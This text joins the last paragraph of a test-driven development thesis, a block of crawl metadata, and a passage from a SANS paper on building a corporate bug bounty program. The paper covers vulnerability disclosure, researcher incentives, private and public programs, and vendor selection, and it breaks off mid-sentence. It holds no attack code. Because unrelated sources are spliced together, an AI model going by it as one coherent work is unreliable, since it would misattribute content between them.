partial adoption. • Create tests before writing code. • Create a test list. • Automate testing. • Design tests well. • Keep code simple. • Consider test execution time. Readers interested in further study on the topic of TDD should be aware that a variety of sources exist. In addition to several books on the subject, there are also a great deal of websites with extremely useful information. With the expanding popularity of TDD, the author expects the number of such sources to continue to grow. Researchers seeking related topics to explore will find a wealth of interesting subjects surrounding TDD. More information is needed regarding the impact of TDD on quality. Studies should be completed on the effect that TDD has on developer confidence and if that alone translates into enhanced programmer productivity. An analysis of success rate in TDD adoption would add significantly to this research. References
{"Source-Url": "https://opus.govst.edu/cgi/viewcontent.cgi?article=1115&context=theses", "len_cl100k_base": 11506, "olmocr-version": "0.1.50", "pdf-total-pages": 46, "total-fallback-pages": 0, "total-input-tokens": 86711, "total-output-tokens": 14052, "length": "2e13", "weborganizer": {"__label__adult": 0.0005278587341308594, "__label__art_design": 0.0004515647888183594, "__label__crime_law": 0.0003390312194824219, "__label__education_jobs": 0.0038547515869140625, "__label__entertainment": 7.218122482299805e-05, "__label__fashion_beauty": 0.0002503395080566406, "__label__finance_business": 0.0003070831298828125, "__label__food_dining": 0.00045418739318847656, "__label__games": 0.0007143020629882812, "__label__hardware": 0.0006103515625, "__label__health": 0.00044465065002441406, "__label__history": 0.00022709369659423828, "__label__home_hobbies": 0.00010055303573608398, "__label__industrial": 0.00030803680419921875, "__label__literature": 0.0004622936248779297, "__label__politics": 0.00033926963806152344, "__label__religion": 0.0005397796630859375, "__label__science_tech": 0.0022945404052734375, "__label__social_life": 0.00013720989227294922, "__label__software": 0.0027256011962890625, "__label__software_dev": 0.98388671875, "__label__sports_fitness": 0.0004298686981201172, "__label__transportation": 0.0005445480346679688, "__label__travel": 0.0002213716506958008}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 60135, 0.02666]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 60135, 0.60184]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 60135, 0.91576]], "google_gemma-3-12b-it_contains_pii": [[0, 919, false], [919, 1216, null], [1216, 1216, null], [1216, 2158, null], [2158, 2291, null], [2291, 2732, null], [2732, 5312, null], [5312, 7365, null], [7365, 7365, null], [7365, 8981, null], [8981, 9101, null], [9101, 10668, null], [10668, 12308, null], [12308, 13950, null], [13950, 15801, null], [15801, 16746, null], [16746, 17706, null], [17706, 18926, null], [18926, 20540, null], [20540, 21832, null], [21832, 23713, null], [23713, 25545, null], [25545, 27348, null], [27348, 29207, null], [29207, 30696, null], [30696, 32649, null], [32649, 33942, null], [33942, 35506, null], [35506, 36871, null], [36871, 38348, null], [38348, 39737, null], [39737, 40876, null], [40876, 42603, null], [42603, 44421, null], [44421, 46171, null], [46171, 47467, null], [47467, 48538, null], [48538, 50475, null], [50475, 51969, null], [51969, 53122, null], [53122, 53973, null], [53973, 55808, null], [55808, 57126, null], [57126, 58212, null], [58212, 59737, null], [59737, 60135, null]], "google_gemma-3-12b-it_is_public_document": [[0, 919, true], [919, 1216, null], [1216, 1216, null], [1216, 2158, null], [2158, 2291, null], [2291, 2732, null], [2732, 5312, null], [5312, 7365, null], [7365, 7365, null], [7365, 8981, null], [8981, 9101, null], [9101, 10668, null], [10668, 12308, null], [12308, 13950, null], [13950, 15801, null], [15801, 16746, null], [16746, 17706, null], [17706, 18926, null], [18926, 20540, null], [20540, 21832, null], [21832, 23713, null], [23713, 25545, null], [25545, 27348, null], [27348, 29207, null], [29207, 30696, null], [30696, 32649, null], [32649, 33942, null], [33942, 35506, null], [35506, 36871, null], [36871, 38348, null], [38348, 39737, null], [39737, 40876, null], [40876, 42603, null], [42603, 44421, null], [44421, 46171, null], [46171, 47467, null], [47467, 48538, null], [48538, 50475, null], [50475, 51969, null], [51969, 53122, null], [53122, 53973, null], [53973, 55808, null], [55808, 57126, null], [57126, 58212, null], [58212, 59737, null], [59737, 60135, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 60135, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 60135, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 60135, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 60135, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 60135, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 60135, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 60135, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 60135, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 60135, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 60135, null]], "pdf_page_numbers": [[0, 919, 1], [919, 1216, 2], [1216, 1216, 3], [1216, 2158, 4], [2158, 2291, 5], [2291, 2732, 6], [2732, 5312, 7], [5312, 7365, 8], [7365, 7365, 9], [7365, 8981, 10], [8981, 9101, 11], [9101, 10668, 12], [10668, 12308, 13], [12308, 13950, 14], [13950, 15801, 15], [15801, 16746, 16], [16746, 17706, 17], [17706, 18926, 18], [18926, 20540, 19], [20540, 21832, 20], [21832, 23713, 21], [23713, 25545, 22], [25545, 27348, 23], [27348, 29207, 24], [29207, 30696, 25], [30696, 32649, 26], [32649, 33942, 27], [33942, 35506, 28], [35506, 36871, 29], [36871, 38348, 30], [38348, 39737, 31], [39737, 40876, 32], [40876, 42603, 33], [42603, 44421, 34], [44421, 46171, 35], [46171, 47467, 36], [47467, 48538, 37], [48538, 50475, 38], [50475, 51969, 39], [51969, 53122, 40], [53122, 53973, 41], [53973, 55808, 42], [55808, 57126, 43], [57126, 58212, 44], [58212, 59737, 45], [59737, 60135, 46]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 60135, 0.0]]}
olmocr_science_pdfs
2024-12-03
2024-12-03
85eb2616ab2e4b679d0a75c41efe67e6a7072fb3
Secure Coding. Practical steps to defend your web apps. Copyright SANS Institute Author Retains Full Rights This paper is from the SANS Software Security site. Reposting is not permitted without express written permission. Interested in learning more? Check out the list of upcoming events offering "Defending Web Applications Security Essentials (DEV522)" at http://software-security.sans.orghttp://software-security.sans.org/events/ Abstract Bug bounty programs are incentivized, results-focused programs that encourage security researchers to report security issues to the sponsoring organization. These programs create a cooperative relationship between security researchers and organizations that allow the researchers to receive rewards for identifying application vulnerabilities. Bug bounty programs have gone from obscurity to being embraced as a best practice in just a few years: application security maturity models have added bug bounty programs and there are standards for vulnerability disclosure best practices. Through leveraging a global community of researchers available 24 hours a day, 7 days a week, information security teams can continuously deliver application security assessments keeping pace with agile development and continuous integration deployments complementing existing controls such as penetration testing and source code reviews. I started a bug bounty program at a fortune 500 global financial company. This paper reflects the research used to justify the program, the project to implement it, operational processes in use, and lessons learned along the way. Introduction Bug bounty programs are incentivized, results-focused programs that encourage security researchers to report security issues to the sponsoring organization. They create a “cooperative relationship between security researchers and organizations that allow researchers to receive rewards for identifying application vulnerabilities” without the risk of legal action (Bugcrowd, 2015, p. 1). This relationship helps companies to identify and resolve security vulnerabilities they might not otherwise find. Traditional application testing models do not scale well to meet the demands of modern development methodologies. They are expensive, resource intensive, and are only a point in time assessment. Agile development and DevOps have given us faster development and deployment cycles. Vulnerabilities occasionally slip through even the most mature application security programs. Modern application security assessments need to be on demand and continuous with an instant feedback loop delivered to developers to keep pace. Bug bounty platforms offer a worldwide community of researchers working 24/7; leveraging this community can supplement an organization’s application security program, ensuring a known quantity finds those vulnerabilities before they are exploited by malicious actors. It is critical that organizations have a way for external parties to tell them about potential security vulnerabilities, leveraging their internal vulnerability management process to triage and remediate them. However, “94 percent of the Forbes Global 2000 do not have known vulnerability disclosure policies” (HackerOne, 2017, p. 19). According to Bacchus, “when starting a bug bounty program, you’re essentially adding a new stream of bugs into your existing vulnerability management process” (2017, p. 10). Incentivizing those vulnerability reports by paying researchers who submit unique, actionable bugs enables a company to crowdsource security testing to thousands of individuals looking to make our connected Internet ecosystem more secure. 1.1. Vulnerability Management Vulnerability management plays a crucial role in finding a variety of technical vulnerabilities in an environment, prioritizing the resulting risk, and improving the overall security posture by addressing those likely to lead to incidents. A vulnerability is “a weakness in the software or hardware that allows use of a product beyond its design intent with an adverse effect on the software, system, or data” (Foreman, 2010, p. 61). An exploited vulnerability could result in a disruption in availability or loss of data confidentiality and integrity. Vulnerability is a component of risk. Harris (2012) defines risk as “the likelihood of a threat agent exploiting a vulnerability and the corresponding business impact” (p. 57). Expressed as a formula, that is: \[ Risk = \frac{\text{Threat} \times \text{Vulnerability}}{\text{Countermeasures}} \times \text{Value} \] Breaking down the components of risk, threats are someone or something that can do harm. Vulnerabilities are the weaknesses of an asset that allows the threat to cause harm. Countermeasures are precautions that have been taken. Value is the monetary worth of the asset representing the potential loss as the result of an incident. Information security is about managing risks to sensitive data and critical resources. There will always be some amount of risk present, the role of information security is to bring it in-line with organizational policies. Vulnerability management is the “cyclical practice of identifying, classifying, remediating, and mitigating vulnerabilities” (Foreman, 2010, p. 1), and can be an effective means of managing the risk to an enterprise. An organization’s vulnerability management practices often include activities such as the following: - Infrastructure Vulnerability Management Scanning - Source Code Review - Penetration Testing ### 1.2. Vulnerability Disclosure New vulnerabilities are discovered and published daily. An individual or organization may discover a security flaw through casual evaluation of a product, by accident, or as a result of focused analysis and testing. Once a vulnerability is discovered, what can the researcher do with their discovery? It largely depends on their motivation. This kind of security research is done by: companies wanting to ensure either the products they are creating or the products they are using are secure, hobbyists wanting to Jason Pubal jpubal@mastersprogram.sans.edu learn information security or gain notoriety, security firms wanting to profit from or market their knowledge of security flaws, criminal organizations wanting to defraud the public for financial gain, and nation states wanting to either defend their country or find ways to subvert others. While some motivation is malicious, a lot of this research is done with the intent of discovering a vulnerability and reporting it to the software’s creator or making it publicly known so that it can be fixed to make the product and the interconnected Internet ecosystem more secure. However, providing the information to the vendor or the public carelessly can be dangerous. Inappropriate disclosure of a vulnerability could cause a delay in resolution or give attackers the information they need to exploit it. If a company is not prepared to receive vulnerability reports, there can be a long delay before it ends up with someone who can act on it. With no clearly defined mechanism such as an easy to find web portal or email address, vulnerability finders may try to use other communication mechanisms such as a customer service email address or marketing social media accounts. There is a chance the person who initially receives it might not know how to handle it and may simply discard the information. Those reports might not make it to information security personnel at all. And if they do, without a risk-based triage process in place, it is likely to get treated as a high priority event or security incident. This is inefficient and wastes internal resources. Incidents are short-lived events, so occasionally items fall through the cracks that a dedicated and specific process would handle. Because of the dangers of mishandled vulnerability reports, various organizations have published best practices for safely reporting vulnerabilities and for how vendors can receive and act on those reports in a transparent and consistent fashion. For example, the National Infrastructure Advisory Council’s Vulnerability (NIAC) published the Disclosure Framework published in 2004, and the International Organization for Standardization’s (ISO) published the Vulnerability Disclosure Standard in 2014. According to HackerOne, “federal agencies and standards bodies recommend vulnerability disclosure policies” such as the National Highway Traffic Safety Jason Pubal jpubal@mastersprogram.sans.edu Administration (NHTSA), Food and Drug Administration (FDA), and Federal Trade Commission (FTC) (2017, p. 21). According to the ISO Vulnerability Disclosure Standard, vulnerability disclosure is “a process through which vendors and vulnerability finders may work cooperatively in finding solutions that reduce the risks associated with a vulnerability” and “it encompasses actions such as reporting, coordinating, and publishing information about a vulnerability and its resolution” (2014, p 1). Organizations that create software and are responsible for the security of their products and services can use vulnerability disclosure to learn about security issues and to help create resolutions or mitigations for those flaws. The ISO Vulnerability Disclosure Standard tells vendors that in order to deal adequately with vulnerability reports, they need to have a mechanism for securely receiving those reports and a policy for how they are going to deal with them. The standard states, “Since vulnerability information may be used to attack vulnerable products and online services, sensitive vulnerability information should be communicated confidentially. Vendors may wish to provide secure confidential methods for finders to report vulnerability information” (IOS/IEC 29147:2014, p. 9). This can include publishing a Pretty Good Privacy (PGP) public key for the researcher to encrypt the information before reporting or have a secure TLS encrypted form available online. Also, “Vendors should define their responsibilities in a vulnerability disclosure policy” (IOS/IEC 29147:2014, p. 10). The policy can contain items such as how to contact the vendor, communication expectations, what should be contained in the report, and services that are in as well as out of scope. 1.3. Vulnerability Management & Disclosure Interaction Vulnerability management and vulnerability disclosure are related processes. While vulnerability management deals with the analysis, prioritization, and remediation of security flaws regardless of the source of vulnerability, vulnerability disclosure deals with the interface between organizations and third parties who discover and report potential vulnerabilities. This interaction is shown below in Figure 1. Jason Pubal | jpubal@mastersprogram.sans.edu Large companies are often mandated by a compliance regime to have a vulnerability management process in place. For example, the Payment Card Industry’s (PCI) Data Security Standard (DSS) requires merchants that accept credit or debit cards as payments to “maintain a vulnerability management program” which includes both patch management and secure application security development practices (2016, p. 5). Vulnerability disclosure essentially sits on top of a vulnerability management process – it becomes another one of many vulnerability discovery sources that vulnerability management seeks to resolve. 1.4. Incentivizing Security Research & Vulnerability Disclosure How can vulnerability disclosure be leveraged to reduce risk in an enterprise? What behaviors could be encouraged to maximize that risk reduction? Table 1 outlines a number of incentives that would encourage desirable behaviors. <table> <thead> <tr> <th>Behavior</th> <th>Incentive</th> </tr> </thead> <tbody> <tr> <td>If a security vulnerability is found, report it.</td> <td>Pay a monetary reward for reported vulnerabilities.</td> </tr> <tr> <td>Have security researchers assess an</td> <td>Make that application eligible for rewards by</td> </tr> </tbody> </table> Building an incentives program around vulnerability disclosure allows an enterprise to effectively crowdsource application security assessments. By paying for reporting security flaws, security researchers are incentivized to spend time discovering vulnerabilities in a particular application. Offering higher amounts of payments for flaws that are more desirable incentivizes researchers to spend their time discovering and reporting those vulnerabilities. Publishing a policy that researchers must agree to with retribution of not being able to participate if those rules are not followed incentivizes a host of other desirable behaviors. ### 1.5. Bug Bounty Programs A bug bounty program is “an incentivized, results-focused program that encourages security researchers to report security issues to the sponsoring organization” (Bugcrowd, 2016, p. 4). It is a rewards program offered by an organization to external parties, authorizing and incentivizing them to perform security testing on the organization's assets. Bug bounty programs seem to have gone from novelty to get embraced as a best practice in just a few years. Bugcrowd sees the trend of non-technology companies adopting bug bounty programs saying that “organizations from more ‘traditional’ industries have seen year over year growth of over 217% on average, including financial services, automotive, healthcare, education, telecommunications” (2016, p. 11). The Building Security in Maturity Model added operating a bug bounty program in a recent update, citing that 4% of its participants have programs (McGraw, 2015, p. 19). The <table> <thead> <tr> <th>Application for security flaws.</th> <th>Putting it in scope of the vulnerability rewards program.</th> </tr> </thead> <tbody> <tr> <td>Remediating higher criticality vulnerabilities reduces risk more. Discover and report high criticality vulnerabilities.</td> <td>Pay a higher monetary reward for higher criticality vulnerabilities.</td> </tr> <tr> <td>Focus on testing the security in specific parts of an application, such as new functionality in an upcoming release.</td> <td>Pay a higher monetary reward for areas of focus.</td> </tr> <tr> <td>Do not publicly disclose vulnerability information until the flaw is fixed.</td> <td>Create a policy that a researcher must agree to before participating. If the researcher does not follow the rules, they are ineligible for future rewards.</td> </tr> </tbody> </table> Table 1: Behaviors and incentives. number of companies using crowdsourced application assessments is growing in a trend that has gained momentum in recent years. ### 1.5.1. Benefits In their ‘The State of Bug Bounty’ report, Bugcrowd presented the results of a survey that elicited what companies running a bug bounty program found their benefits to be. The survey states,“The top three points of perceived value of bug bounties are the diversity in skill sets and methods used by hackers, the volume of bug hunters testing their applications and the pay for results model” (2016, p. 8). Other responses included positive external marketing of their security program and building a relationship with the security researcher community. To further enumerate the benefits, Table 2 presents comparison of a bug bounty program to a more traditional security assessment. <table> <thead> <tr> <th></th> <th>Penetration Testing</th> <th>Bug Bounty Program</th> </tr> </thead> <tbody> <tr> <td><strong>Time</strong></td> <td>A penetration test is a time-bound activity, typically lasting one or two weeks.</td> <td>A bug bounty program is not time bound. A researcher can spend as long as they want to pursue an attack vector of interest. This is more akin to how an actual attacker would find a flaw.</td> </tr> <tr> <td><strong>Personnel</strong></td> <td>Depending on the scope and time allotted, a penetration test is generally assigned one or two people.</td> <td>There are no personnel constraints to a bug bounty program. Researchers are like an elastic security team that needs to be incentivized. If the right incentive is provided, tens or hundreds of researchers might participate.</td> </tr> <tr> <td><strong>Cost</strong></td> <td>A penetration test has a set scope, number of resources, and cost. For a two-week engagement, one may pay $20,000. There is no guarantee that the penetration test will find any valid vulnerabilities.</td> <td>Researchers are only paid for verified, original findings. They do not get paid for their time or for findings that another researcher already reported. So, only unique, valid vulnerabilities cost money.</td> </tr> <tr> <td><strong>Methodology</strong></td> <td>A professional penetration tester is going to follow a standard methodology. Testing</td> <td>Researchers will likely not follow a standard methodology. Testing</td> </tr> </tbody> </table> Jason Pubal jpubal@mastersprogram.sans.edu methodology, and conduct similar testing each assessment. styles will vary greatly per researcher, potentially leading to creative and out-of-box testing that finds new and unique vulnerabilities. <table> <thead> <tr> <th>Tools</th> <th>A penetration testing team is likely to have their preferred toolset. There will be some variance in what tools are used out of the toolset for a given test. Following a methodology, they are likely to use a similar toolset for each assessment.</th> <th>There will not be a standard toolset across all of the security researchers involved. So, the variance in tools used will be significantly greater.</th> </tr> </thead> </table> | Scope Coverage | Professional penetration testers typically follow some standard methodology that provides assurance that the entire breadth of the scope was covered. However, because of the time constraint, there might be items that did not get the depth of coverage needed to find something. | A security researcher might not follow any methodology. There is no assurance of breadth of coverage. However, because a bug bounty program is typically not time-bound, what is covered is likely to get covered in greater depth. | | Table 2: Penetration testing vs bug bounty. | 1.5.2. Augmenting Pentesting with Bug Bounties Traditionally, one of the most influential and effective ways to provide security feedback in the development lifecycle is via penetration testing. During penetration testing, penetration testers manually test the application using real-world attack scenarios resulting in high fidelity, actual findings of not only how the application is vulnerable but what the impact of that security flaw is. For example, an online shopping cart application is vulnerable to SQL injection, and because of that, the penetration tester was able to exfiltrate users' names, passwords, addresses, and credit card numbers. Because it is so effective, it has been adopted by various compliance regimes. PCI DSS, for example, requires that in scope applications are pentested “at least annually and after any significant infrastructure or application upgrade or modification” (2016, p. 101). In a waterfall model, where there is a series of security touchpoints along the software development lifecycle, penetration testing is done towards the end right before an application is deployed to production. It is a deployment gate that cannot be passed. Jason Pubal jpubal@mastersprogram.sans.edu until pentesting is complete. If a major security flaw is discovered, the deployment is delayed until the code can be fixed. A manual process that usually takes a week or two and has some chance of delaying an application deployment even more is the antithesis of devops. In a world where production code deployments are highly automated weekly, daily, or even multiple times per day activities, this kind of manual security testing can no longer be a gate. Traditional software development lifecycle security interactions are shown in Figure 2. ![SDLC security interaction](image) **Figure 2: SDLC security interaction. From "Software Security" 2006.** Application development efforts can modernize this manual security testing control by adding bug bounties and using them to augment the penetration testing program. Bug bounties are not a replacement for penetration tests. However, because of their ongoing nature, bug bounties provide continuous feedback. Pentesters have a limited amount of time for each engagement, typically only a week or two. During that time, they try to cover the breadth of an application's entire attack surface often limiting their depth of coverage. Combining penetration tests with a bug bounty program enables them to be focused on high risk, new, or recently changed application functionality. Pentesters have the benefit of bug bounty findings as a starting point for where to take a closer look. The bug bounty testers maintain a breadth of coverage allowing the penetration testing to be more valuable by directing the focus of the penetration testers. Zane Lackey, Founder and Chief Security Officer at Signal Sciences, argues that there is a depth of coverage and frequency continuum. Dynamic application security Jason Pubal jpubal@mastersprogram.sans.edu testing (DAST) scanning is automated so it can frequently be done but is unable to cover the application deeply. Penetration testing is manual and can be performed by a team with white box knowledge of the application. It can have perfect depth of coverage but is resource intensive and therefore limited in frequency. Bug bounties sit in the middle, covering far more of the application than DAST scanning and occurring far more frequently than penetration testing (AppSecUSA “Practical tips for web application security in the age of agile and DevOps”, 2016). Lackey depicted the continuum with Figure 3. ![Coverage and frequency continuance. From “Practical tips for web application security in the age of agile and DevOps” 2016.] The combination of bug bounties and penetration testing allows for a decoupling of pentesting as a traditional gate to application deployments, while maintaining a balance of high application attack surface coverage and continuous security feedback to developers. Adding a bug bounty program helps information security by providing continuous feedback on real-world attack scenarios by real-world hackers to developers as releases to production occur. ### 1.5.3. Signal vs. Noise Signal-to-noise is a useful way to describe the quality of vulnerability reports in a bug bounty program. It is the ratio of valid report submissions to the invalid ones. - **Signal.** The number of valid reports. These are reproducible, non-duplicate, high-priority submissions. Jason Pubal jpubal@mastersprogram.sans.edu • **Noise.** The number of invalid reports. These are non-reproducible, duplicate, out-of-scope, or too low priority submissions that are not useful. Signal-to-noise affects the cost of the ownership of the program. The time an organization spends analyzing invalid report submissions is overhead in the program. Looking at data across all of the programs hosted by Bugcrowd in their State of Bug Bounty report, “the signal-to-noise ratio appears to follow the common 80/20 rule. Across all programs the signal value is a collective 20%. The other 80% of submissions were marked invalid or duplicate” (2015, p. 15). Corporate bug bounty programs need to be staffed appropriately to handle an expected amount of overhead. 1.5.4. **Incentives: Monetary, SWAG, Recognition** The incentives associated with a bug bounty do not need to be purely financial. Other options include giving the researcher public recognition or sending them a physical item like a t-shirt. The list below discusses types of incentives. • **Monetary.** Financial rewards are the default for the majority of today’s bug bounty programs. • **SWAG.** A meaningful physical item can be a source of pride for a security researcher. It can be a physical manifestation of bragging rights. It also serves as marketing for an organization’s security program. A security researcher wearing a company’s bug bounty t-shirt to a security conference can both show that researcher is a successful hacker and create additional interest in the program. • **Recognition.** Researchers often want recognition for their efforts. A list on a website that shows which researchers have provided valid vulnerability reports is referred to as a wall-of-fame. Before financial rewards were popular, a wall-of-fame was the primary mechanism for vendors to reward researchers who responsibly disclosed security flaws. Incentive options do not have to be either-or; programs often have a combination. For example, most both give a financial award and have a wall-of-fame. A prepaid debit card with a custom logo can serve as both a monetary reward and SWAG. Other programs, most notably Facebook, have had success with such an approach (Krebs, 2011). Figure 4: Facebook's bug bounty debit card. From “Bugs Money” by Krebs, B. 2011. 1.5.5. Software-as-a-Service Bug Bounty Platforms When launching a vulnerability disclosure or bug bounty effort, an organization may build a mechanism for receiving and tracking vulnerability reports. This can be as simple as publishing an email address, secure@company.com, to a “Contact Us” page on a website and waiting for the submissions to arrive. Another option is to use a company that specializes in and hosts a bug bounty platform. A bug bounty platform is a specialized application with web forms tailored for collecting and tracking vulnerability information securely. These platforms have the added benefit of already having thousands of interested security researchers ready to start assessing new applications. SaaS Bug Bounty platforms include the following: - Bounty Factory - https://bountyfactory.io - Bugcrowd - https://bugcrowd.com - Hackerone - https://hackerone.com - Synack - https://synack.com 1.5.6. Researcher Reputation Score Most of the bug bounty platforms mentioned above have the concept of researcher reputation scoring. When a researcher submits a valid bug, their score increases. If they submit an out of scope bug, a report is closed as not having enough information, or they... violates the policy, their reputation score goes down. Researchers who submit valid vulnerability reports, tend to submit higher criticality findings, and follow the rules, generally have higher reputation scores. When launching a private program, an organization can utilize the reputation scores by only inviting researchers who meet the organization’s required criteria. 1.5.7. Private vs. Public Programs Bug bounty programs can be run as public or private engagements. Historically, the only way to conduct a bug program was by publicly announcing it. With the rise of bug bounty platforms which include pools of security researchers, it is now possible to secretly invite a small subset of those researchers to participate in a private program. - **Public.** A public bug bounty program is announced publicly, generally published to the public Internet and is available for anyone to participate. - **Private.** Private bug bounty programs are by invitation. They are open only to select group of previously known researchers. A public program gets more interest, and therefore, more vulnerability report submissions. They also come with the benefit of marketing an organization’s information security program, indicating to customers and partners that security is a priority. However, the signal-to-noise ratio is lower than average, making it more time intensive and costly. Invitation only, or private bug bounty programs, have become an increasingly popular option. An organization does not get the benefit of marketing their information security program, but can invite only the researchers that are known to follow policy and have the particular skill set the organization requires. Private programs have a higher than average signal-to-noise ratio. Only inviting researchers who are known to follow the rules decreases some of the risk factors of doing a bug bounty program. According to Bugcrowd, “organizations looking to reap the benefits of a traditional public bug bounty program are utilizing private, on-demand and ongoing, bounty programs more and more. 63% of all programs launched have been private” (2016, p. 5). Starting with a private program at launch has become a popular choice of larger, risk adverse organizations. Jason Pubal jpubal@mastersprogram.sans.edu 1.5.8. Time-bound vs. Ongoing Most bug bounty programs are ongoing. That is, once an application is in scope for a public bug bounty program, it will remain in scope for rewarded vulnerability reporting for years. Generally, this scope will increase over time. As an example, Google launched their bug bounty program in 2010; www.google.com has been in an active bug bounty program for seven years. Google’s scope increases as they make acquisitions, putting the new property in scope six months after the acquisition to give them time to perform reviews and remediation internally (Google, 2017). - **Ongoing.** Ongoing bug bounty programs are long-term, continuous reward programs that incentivize researchers for vulnerability reports. - **Time Bound.** Time-bound bounties are short-term programs. They are generally private, invitation-only programs that last two to four weeks. Time-bound programs are effective options for limited budget or short-term needs. For example, if there is a new release with new features in an application that needs to be tested, an invitation-only, time-bound bug bounty can get set up quickly. Combine that with an incentive structure that awards the specific functionality on which the researchers should focus and that new functionality will get a quick security assessment. Time-bound bounties are also a good way for an organization to try the bug bounty concept. 1.5.9. Bug Bounty Program Types Combining the concepts above, Table 3 lists the common types of bug bounty programs. <table> <thead> <tr> <th>Program</th> <th>Visibility</th> <th>Incentive</th> <th>Scope</th> </tr> </thead> <tbody> <tr> <td>Vulnerability Disclosure Program: An organization has a mechanism for receiving vulnerability reports from third parties.</td> <td>Public</td> <td>Recognition / Wall-of-Fame</td> <td>Broad. The purpose is to accept any vulnerability a researcher discovers.</td> </tr> </tbody> </table> Jason Pubal jpubal@mastersprogram.sans.edu <table> <thead> <tr> <th><strong>Public Bug Bounty Program:</strong> An organization is incentivizing researchers to submit vulnerability reports.</th> <th>Public</th> <th>Usually monetary, but can be swag or something else of value.</th> <th>Has a well-defined scope. Mature programs are fairly broad, but there is a clear delineation between what should and should not be tested.</th> </tr> </thead> <tbody> <tr> <td><strong>Private Bug Bounty Program:</strong> An organization invites specific researchers to participate in an incentivized bounty.</td> <td>Private</td> <td>Monetary</td> <td>Small scope.</td> </tr> <tr> <td><strong>Time Bound Bug Bounty:</strong> An organization wants to crowdsource testing for a single application on a limited budget.</td> <td>Usually private, but can be public</td> <td>Monetary</td> <td>Usually a single application.</td> </tr> </tbody> </table> Table 3: Bug bounty program types. 2. **Bug Bounty Enterprise Implementation** This paper reflects a real-life enterprise bug bounty implementation at a fortune 500, global financial company. It outlines the project phases to stand up the program, and the operational processes that are in use today. 2.1. **Project Schedule** The Bug Bounty Program implementation took place as a project with two distinct phases. Phase one was planning focused on process development and selecting a vendor that provides a bug bounty platform. Phase two focused on implementation, conducting a pilot to test the vendor and our processes, and then gradually increasing application scope and public exposure leading up to the launch of a public, bug bounty program. Figure 5 shows the two phases in a Gantt chart. Jason Pubal jpubal@mastersprogram.sans.edu 2.1.1. **Phase 1: Planning, Process Development, and Vendor Selection** The first phase focused on laying the groundwork: developing processes and selecting the platform that best fit the requirements. 1. **Develop Policy and Processes.** Work with stakeholders to develop a vulnerability disclosure policy, processes for handling vulnerability reports, and a communication plan. 2. **Bug Bounty Platform Vendor Selection.** Gather bug bounty platform requirements, have vendors conduct demonstrations of their platforms, and analyze how each vendor meets the requirements. After receiving quotes from vendors, select the vendor who meets the requirements for the most reasonable cost. 2.1.2. **Phase 2: Pilot and Program Implementation** The second phase focused on program implementation: first conducting a pilot to ensure the vendor and processes worked, then gradually increasing application scope leading up to the launch of a public, bug bounty program. 1. **Pilot.** Select an application, and work with application owners to conduct a pilot with the selected bug bounty platform. A time-bound, private bug bounty ran for two weeks. 2. **Private Program Launch and Application Enrollment:** After minor tweaks to processes based on lessons learned from the pilot, work with application owners and enroll applications into a private bug bounty program. 3. **Launch Vulnerability Disclosure Portal.** While a bug bounty program incentivizes researchers to assess in scope applications, the bug bounty platform is also used as a general vulnerability disclosure front door. In the event that someone wants to responsibly disclose a vulnerability in an application outside of that scope, the policy allows for submission of vulnerabilities that impact any application, while making it clear only the applications in scope for bug bounty are eligible for rewards. 4. **Launch Public Bug Bounty Program.** For the launch of the public program, all of the applications that were working well in the private program were put in scope for a public program. This involves publicly publishing the vulnerability disclosure policy, tuned over time with lessons learned from the pilot and private program, along with the well-defined scope of applications, to the bug bounty platform. ### 2.2. Vendor Selection There are a number of vendors with vulnerability disclosure, bug bounty, or crowdsourced pentesting platforms. Three vendors were compared: two focused on vulnerability disclosure and bug bounty, and one with a private crowdsourced pentest focus. They were scored against eight major requirements with 41 sub-requirements in a weighted scoring rubric, as seen below in Table 4. <table> <thead> <tr> <th>Requirements</th> <th>Weight</th> <th>Bugcrowd Score</th> <th>Bugcrowd Weighted Score</th> <th>HackerOne Score</th> <th>HackerOne Weighted Score</th> <th>Synack Score</th> <th>Synack Weighted Score</th> </tr> </thead> <tbody> <tr> <td>Provide vulnerability disclosure and bug bounty platform capable of running private, public, and one-off engagements.</td> <td>100</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Researchers can view and must agree to Vulnerability Disclosure Policy prior to participating.</td> <td>100</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Reward researcher upon verification, remediation, and approval of vulnerability report.</td> <td>100</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Vendor provides vulnerability disclosure and bug bounty managed services.</td> <td>100</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>API access to data for integrating, importation, and correlation with other vulnerability discovery sources.</td> <td>70</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Alerting, notification, reporting, metrics, key performance indicators, and analytics of vulnerability data.</td> <td>70</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Platform Functionality</td> <td>50</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> <tr> <td>Other, Legal, PR, etc.</td> <td>50</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> </tr> </tbody> </table> *Table 4: Vendor rubric.* Jason Pubal jpabal@mastersprogram.sans.edu Since the requirements for each company and program will be different, the details of the requirement and how each vendor scored are not included. The differences between the vendors are summarized by Katie Moussouris, founder and CEO of Luta Security, in 